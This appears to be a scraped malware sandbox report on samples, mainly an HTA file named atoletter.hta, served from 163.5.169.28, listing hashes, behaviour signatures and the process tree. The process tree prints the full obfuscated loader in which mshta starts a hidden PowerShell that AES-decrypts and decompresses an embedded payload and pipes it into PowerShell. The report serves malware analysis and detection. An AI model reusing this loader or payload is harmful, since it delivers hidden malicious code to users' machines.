Overview
overview
10Static
static
10163.5.169....r2.hta
windows7-x64
3163.5.169....r2.hta
windows10-2004-x64
8163.5.169....r2.pdf
windows7-x64
1163.5.169....r2.pdf
windows10-2004-x64
1163.5.169....r3.hta
windows7-x64
3163.5.169....r3.hta
windows10-2004-x64
10163.5.169....r3.pdf
windows7-x64
1163.5.169....r3.pdf
windows10-2004-x64
1163.5.169....r4.hta
windows7-x64
3163.5.169....r4.hta
windows10-2004-x64
7163.5.169....r4.pdf
windows7-x64
1163.5.169....r4.pdf
windows10-2004-x64
1163.5.169....r5.hta
windows7-x64
3163.5.169....r5.hta
windows10-2004-x64
10163.5.169....r5.pdf
windows7-x64
1163.5.169....r5.pdf
windows10-2004-x64
1163.5.169....r2.hta
windows7-x64
3163.5.169....r2.hta
windows10-2004-x64
7163.5.169....er.hta
windows7-x64
3163.5.169....er.hta
windows10-2004-x64
8163.5.169....r2.hta
windows7-x64
3163.5.169....r2.hta
windows10-2004-x64
1163.5.169....ry.gif
windows7-x64
1163.5.169....ry.gif
windows10-2004-x64
1163.5.169....nk.gif
windows7-x64
1163.5.169....nk.gif
windows10-2004-x64
1163.5.169.28/cmd.exe
windows7-x64
163.5.169.28/cmd.exe
windows10-2004-x64
1163.5.169.28/cmt.exe
windows7-x64
1163.5.169.28/cmt.exe
windows10-2004-x64
1163.5.169.28/fd1.exe
windows7-x64
10163.5.169.28/fd1.exe
windows10-2004-x64
10Analysis
-
max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
10-01-2024 21:28
Behavioral task
behavioral1
Sample
163.5.169.28/SCAN-atoletter2.hta
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
163.5.169.28/SCAN-atoletter2.hta
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
163.5.169.28/SCAN-atoletter2.pdf
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
163.5.169.28/SCAN-atoletter2.pdf
Resource
win10v2004-20231222-en
Behavioral task
behavioral5
Sample
163.5.169.28/SCAN-atoletter3.hta
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
163.5.169.28/SCAN-atoletter3.hta
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
163.5.169.28/SCAN-atoletter3.pdf
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
163.5.169.28/SCAN-atoletter3.pdf
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
163.5.169.28/SCAN-atoletter4.hta
Resource
win7-20231129-en
Behavioral task
behavioral10
Sample
163.5.169.28/SCAN-atoletter4.hta
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
163.5.169.28/SCAN-atoletter4.pdf
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
163.5.169.28/SCAN-atoletter4.pdf
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
163.5.169.28/SCAN-atoletter5.hta
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
163.5.169.28/SCAN-atoletter5.hta
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
163.5.169.28/SCAN-atoletter5.pdf
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
163.5.169.28/SCAN-atoletter5.pdf
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
163.5.169.28/ato_letter2.hta
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
163.5.169.28/ato_letter2.hta
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
163.5.169.28/atoletter.hta
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
163.5.169.28/atoletter.hta
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
163.5.169.28/atoletter2.hta
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
163.5.169.28/atoletter2.hta
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
163.5.169.28/binary.gif
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
163.5.169.28/binary.gif
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
163.5.169.28/blank.gif
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
163.5.169.28/blank.gif
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
163.5.169.28/cmd.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
163.5.169.28/cmd.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
163.5.169.28/cmt.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
163.5.169.28/cmt.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
163.5.169.28/fd1.exe
Resource
win7-20231129-en
Behavioral task
behavioral32
Sample
163.5.169.28/fd1.exe
Resource
win10v2004-20231222-en
General
-
Target
163.5.169.28/atoletter.hta
-
Size
1.1MB
-
MD5
47b67f1ef2ff1967fd6eee7f2eee2a79
-
SHA1
e53cecf356df43405a19daf75ff5dcfd8b44f2ce
-
SHA256
6c4beabd874f9b38209eb0cc585fc19407edc997ffb0bf0897c34bf4552f5194
-
SHA512
d9586f412e0a9cecc5909cde9391def8c338ca086ba506366076816f6a4ce8309176e884a133bc11bec731bf1d9bf3b027e42ef6a49b545b000ffee60c6d42b9
-
SSDEEP
1536:jxr5/6p/OpbQEcQIKdquZcod/zA4l2ZFmr/l1vcmafSIm+lIWFeQnoxLPCQwkcUC:jxV6JsMEcQIQZcod/c4K
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2348 powershell.exe 2348 powershell.exe 2348 powershell.exe 2364 powershell.exe 1924 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2348 powershell.exe Token: SeDebugPrivilege 2364 powershell.exe Token: SeDebugPrivilege 1924 powershell.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 1972 wrote to memory of 2348 1972 mshta.exe 23 PID 1972 wrote to memory of 2348 1972 mshta.exe 23 PID 1972 wrote to memory of 2348 1972 mshta.exe 23 PID 1972 wrote to memory of 2348 1972 mshta.exe 23 PID 2348 wrote to memory of 2516 2348 powershell.exe 33 PID 2348 wrote to memory of 2516 2348 powershell.exe 33 PID 2348 wrote to memory of 2516 2348 powershell.exe 33 PID 2348 wrote to memory of 2516 2348 powershell.exe 33 PID 2516 wrote to memory of 2364 2516 cmd.exe 31 PID 2516 wrote to memory of 2364 2516 cmd.exe 31 PID 2516 wrote to memory of 2364 2516 cmd.exe 31 PID 2516 wrote to memory of 2364 2516 cmd.exe 31 PID 2516 wrote to memory of 1924 2516 cmd.exe 30 PID 2516 wrote to memory of 1924 2516 cmd.exe 30 PID 2516 wrote to memory of 1924 2516 cmd.exe 30 PID 2516 wrote to memory of 1924 2516 cmd.exe 30
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\atoletter.hta"1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $ouWgc = 'AAAAAAAAAAAAAAAAAAAAAJJ5zJYQm1Zc3enanMEM+VL8ZXuICb6VwD675Ng9elcpqLdG6ICh9Z7Z+T51gQRQ54EMOhzaaSKbTBu4JpiwL439fdXQDT70+pvcz4RAG9WpVYj59gf8JaM5/R8GHz+RAh72y7CFTElnWpJnPOWSmBQLOZzt0/lBGIkvo8CCtfb+eoNNtY2qVZkiAiAE6K+1AcPNbpKkdt2t5p905qBeTBpO6XAM14DJwkfG7/JjNjMsMQzmCMn900E9A/D38WhuXhXNdolwgKNr82S1P6WR1jGJ1gK19IH0Yo3o6Ztbp9t1W/MpsUmKvbfRGfR+ujtzM+BljKf4x7/C/vh5ROlaoxrfVeR8YjlVRWrrqqr2fGu8nJDe0R47zcHiTPa3KDIRm6DxbDsdWwgFmSg22QwwLcekZa7ZsJmI7LY/ARBjtZI/uinhgNJH4bHID52dCZCC4HxLBKiAyMoMVl2FFGmLmSjzZDw2lfAMj8Osj0hEeHMIP2hy1bX0/15KOCW1DFmWuGICLq0Nq4Zmv/QuJQ7JJzHGeayZXoawKVf34y++mDaahJecdnyL9nEeoj6HdBD+pbzL3yfP+KDYqFFrdqq/KdDyKTTNKpPflyInMJDn8TKDxPN7ZiDFKwB4g4qIgpGv4Age35rADhVpEO20ONR7t/shCgdp6aRd/69Fs6d6oNFyqD16GjcDt5AlFS8MEbpB/gwoQVV/TXaFs7IkfK389w1VVdMbud4LbHn2nm1Ie7ocZ2DJX4q4RmJ/tbS8OK0FttxyOhIhAiHBAWZJvHlRbRfRUtPOa0jUukf9ZO1r91Q0rU/bS4F6tyTahbT2YwftbqECzalSKVlMJ4p+3OaDWYWaGKodeuIhrdOyygIGnBKJQZHupLP00vzuBei0GseoaAi9dnz5Oca+4yosxHX12VS1HYHcMU5QKbFLcavV8R3NlHLe8M0rFUdnuvw+Tln4dQUk+lyNDVIIgikZGMcaDmRGCoDwy4sjJg7O4Lcqxbp0JOKIs7nB7vGDZQvqJlASEQ==';$KpoWkt = 'cGlRTW1jb0JrYXNBRWliZEFhV29NTlFZdUZoZmRYTHM=';$gzZYTwF = New-Object 'System.Security.Cryptography.AesManaged';$gzZYTwF.Mode = [System.Security.Cryptography.CipherMode]::ECB;$gzZYTwF.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$gzZYTwF.BlockSize = 128;$gzZYTwF.KeySize = 256;$gzZYTwF.Key = [System.Convert]::FromBase64String($KpoWkt);$aNMav = [System.Convert]::FromBase64String($ouWgc);$NtOIkJQM = $aNMav[0..15];$gzZYTwF.IV = $NtOIkJQM;$iZrffCtxZ = $gzZYTwF.CreateDecryptor();$gUtySeDSJ = $iZrffCtxZ.TransformFinalBlock($aNMav, 16, $aNMav.Length - 16);$gzZYTwF.Dispose();$ggfKN = New-Object System.IO.MemoryStream( , $gUtySeDSJ );$PQcPw = New-Object System.IO.MemoryStream;$kxDrFXdIy = New-Object System.IO.Compression.GzipStream $ggfKN, ([IO.Compression.CompressionMode]::Decompress);$kxDrFXdIy.CopyTo( $PQcPw );$kxDrFXdIy.Close();$ggfKN.Close();[byte[]] $rFrmBzrz = $PQcPw.ToArray();$CHvPLqa = [System.Text.Encoding]::UTF8.GetString($rFrmBzrz);$CHvPLqa | powershell - }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2348 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell.exe $ouWgc = 'AAAAAAAAAAAAAAAAAAAAAJJ5zJYQm1Zc3enanMEM+VL8ZXuICb6VwD675Ng9elcpqLdG6ICh9Z7Z+T51gQRQ54EMOhzaaSKbTBu4JpiwL439fdXQDT70+pvcz4RAG9WpVYj59gf8JaM5/R8GHz+RAh72y7CFTElnWpJnPOWSmBQLOZzt0/lBGIkvo8CCtfb+eoNNtY2qVZkiAiAE6K+1AcPNbpKkdt2t5p905qBeTBpO6XAM14DJwkfG7/JjNjMsMQzmCMn900E9A/D38WhuXhXNdolwgKNr82S1P6WR1jGJ1gK19IH0Yo3o6Ztbp9t1W/MpsUmKvbfRGfR+ujtzM+BljKf4x7/C/vh5ROlaoxrfVeR8YjlVRWrrqqr2fGu8nJDe0R47zcHiTPa3KDIRm6DxbDsdWwgFmSg22QwwLcekZa7ZsJmI7LY/ARBjtZI/uinhgNJH4bHID52dCZCC4HxLBKiAyMoMVl2FFGmLmSjzZDw2lfAMj8Osj0hEeHMIP2hy1bX0/15KOCW1DFmWuGICLq0Nq4Zmv/QuJQ7JJzHGeayZXoawKVf34y++mDaahJecdnyL9nEeoj6HdBD+pbzL3yfP+KDYqFFrdqq/KdDyKTTNKpPflyInMJDn8TKDxPN7ZiDFKwB4g4qIgpGv4Age35rADhVpEO20ONR7t/shCgdp6aRd/69Fs6d6oNFyqD16GjcDt5AlFS8MEbpB/gwoQVV/TXaFs7IkfK389w1VVdMbud4LbHn2nm1Ie7ocZ2DJX4q4RmJ/tbS8OK0FttxyOhIhAiHBAWZJvHlRbRfRUtPOa0jUukf9ZO1r91Q0rU/bS4F6tyTahbT2YwftbqECzalSKVlMJ4p+3OaDWYWaGKodeuIhrdOyygIGnBKJQZHupLP00vzuBei0GseoaAi9dnz5Oca+4yosxHX12VS1HYHcMU5QKbFLcavV8R3NlHLe8M0rFUdnuvw+Tln4dQUk+lyNDVIIgikZGMcaDmRGCoDwy4sjJg7O4Lcqxbp0JOKIs7nB7vGDZQvqJlASEQ==';$KpoWkt = 'cGlRTW1jb0JrYXNBRWliZEFhV29NTlFZdUZoZmRYTHM=';$gzZYTwF = New-Object 'System.Security.Cryptography.AesManaged';$gzZYTwF.Mode = [System.Security.Cryptography.CipherMode]::ECB;$gzZYTwF.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$gzZYTwF.BlockSize = 128;$gzZYTwF.KeySize = 256;$gzZYTwF.Key = [System.Convert]::FromBase64String($KpoWkt);$aNMav = [System.Convert]::FromBase64String($ouWgc);$NtOIkJQM = $aNMav[0..15];$gzZYTwF.IV = $NtOIkJQM;$iZrffCtxZ = $gzZYTwF.CreateDecryptor();$gUtySeDSJ = $iZrffCtxZ.TransformFinalBlock($aNMav, 16, $aNMav.Length - 16);$gzZYTwF.Dispose();$ggfKN = New-Object System.IO.MemoryStream( , $gUtySeDSJ );$PQcPw = New-Object System.IO.MemoryStream;$kxDrFXdIy = New-Object System.IO.Compression.GzipStream $ggfKN, ([IO.Compression.CompressionMode]::Decompress);$kxDrFXdIy.CopyTo( $PQcPw );$kxDrFXdIy.Close();$ggfKN.Close();[byte[]] $rFrmBzrz = $PQcPw.ToArray();$CHvPLqa = [System.Text.Encoding]::UTF8.GetString($rFrmBzrz);$CHvPLqa | powershell -3⤵
- Suspicious use of WriteProcessMemory
PID:2516
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1924
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe $ouWgc = 'AAAAAAAAAAAAAAAAAAAAAJJ5zJYQm1Zc3enanMEM+VL8ZXuICb6VwD675Ng9elcpqLdG6ICh9Z7Z+T51gQRQ54EMOhzaaSKbTBu4JpiwL439fdXQDT70+pvcz4RAG9WpVYj59gf8JaM5/R8GHz+RAh72y7CFTElnWpJnPOWSmBQLOZzt0/lBGIkvo8CCtfb+eoNNtY2qVZkiAiAE6K+1AcPNbpKkdt2t5p905qBeTBpO6XAM14DJwkfG7/JjNjMsMQzmCMn900E9A/D38WhuXhXNdolwgKNr82S1P6WR1jGJ1gK19IH0Yo3o6Ztbp9t1W/MpsUmKvbfRGfR+ujtzM+BljKf4x7/C/vh5ROlaoxrfVeR8YjlVRWrrqqr2fGu8nJDe0R47zcHiTPa3KDIRm6DxbDsdWwgFmSg22QwwLcekZa7ZsJmI7LY/ARBjtZI/uinhgNJH4bHID52dCZCC4HxLBKiAyMoMVl2FFGmLmSjzZDw2lfAMj8Osj0hEeHMIP2hy1bX0/15KOCW1DFmWuGICLq0Nq4Zmv/QuJQ7JJzHGeayZXoawKVf34y++mDaahJecdnyL9nEeoj6HdBD+pbzL3yfP+KDYqFFrdqq/KdDyKTTNKpPflyInMJDn8TKDxPN7ZiDFKwB4g4qIgpGv4Age35rADhVpEO20ONR7t/shCgdp6aRd/69Fs6d6oNFyqD16GjcDt5AlFS8MEbpB/gwoQVV/TXaFs7IkfK389w1VVdMbud4LbHn2nm1Ie7ocZ2DJX4q4RmJ/tbS8OK0FttxyOhIhAiHBAWZJvHlRbRfRUtPOa0jUukf9ZO1r91Q0rU/bS4F6tyTahbT2YwftbqECzalSKVlMJ4p+3OaDWYWaGKodeuIhrdOyygIGnBKJQZHupLP00vzuBei0GseoaAi9dnz5Oca+4yosxHX12VS1HYHcMU5QKbFLcavV8R3NlHLe8M0rFUdnuvw+Tln4dQUk+lyNDVIIgikZGMcaDmRGCoDwy4sjJg7O4Lcqxbp0JOKIs7nB7vGDZQvqJlASEQ==';$KpoWkt = 'cGlRTW1jb0JrYXNBRWliZEFhV29NTlFZdUZoZmRYTHM=';$gzZYTwF = New-Object 'System.Security.Cryptography.AesManaged';$gzZYTwF.Mode = [System.Security.Cryptography.CipherMode]::ECB;$gzZYTwF.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$gzZYTwF.BlockSize = 128;$gzZYTwF.KeySize = 256;$gzZYTwF.Key = [System.Convert]::FromBase64String($KpoWkt);$aNMav = [System.Convert]::FromBase64String($ouWgc);$NtOIkJQM = $aNMav[0..15];$gzZYTwF.IV = $NtOIkJQM;$iZrffCtxZ = $gzZYTwF.CreateDecryptor();$gUtySeDSJ = $iZrffCtxZ.TransformFinalBlock($aNMav, 16, $aNMav.Length - 16);$gzZYTwF.Dispose();$ggfKN = New-Object System.IO.MemoryStream( , $gUtySeDSJ );$PQcPw = New-Object System.IO.MemoryStream;$kxDrFXdIy = New-Object System.IO.Compression.GzipStream $ggfKN, ([IO.Compression.CompressionMode]::Decompress);$kxDrFXdIy.CopyTo( $PQcPw );$kxDrFXdIy.Close();$ggfKN.Close();[byte[]] $rFrmBzrz = $PQcPw.ToArray();$CHvPLqa = [System.Text.Encoding]::UTF8.GetString($rFrmBzrz);$CHvPLqa1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2364
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD5fd3435b9110ecd4de241c15e1e055ecc
SHA1e4c22ff752f4b442541b6b79c130805bf53b52d7
SHA256492a4d99e9af389f1f2642e12aaeb4cf68389f06461eab8c57ff9adc6a12155c
SHA5123f42876a21b8d3c64db0e9462e7d7e7e87ec25441c3b549e914ab7fdb79a5a93a6db5c082238ef860be7a902f9a7dab3fd54b7c983648752fafe2503f5887f53